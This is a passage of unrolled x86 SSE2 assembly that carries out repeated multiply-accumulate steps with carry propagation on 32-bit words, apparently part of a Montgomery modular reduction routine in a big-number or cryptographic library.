psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (80)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (20)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (84)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (84)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (24)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (88)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (88)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (28)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (92)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (92)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (32)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (96)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (96)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (36)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (100)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (100)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (40)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (104)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (104)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (44)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (108)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (104)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (104)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (108)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (48)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (112)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
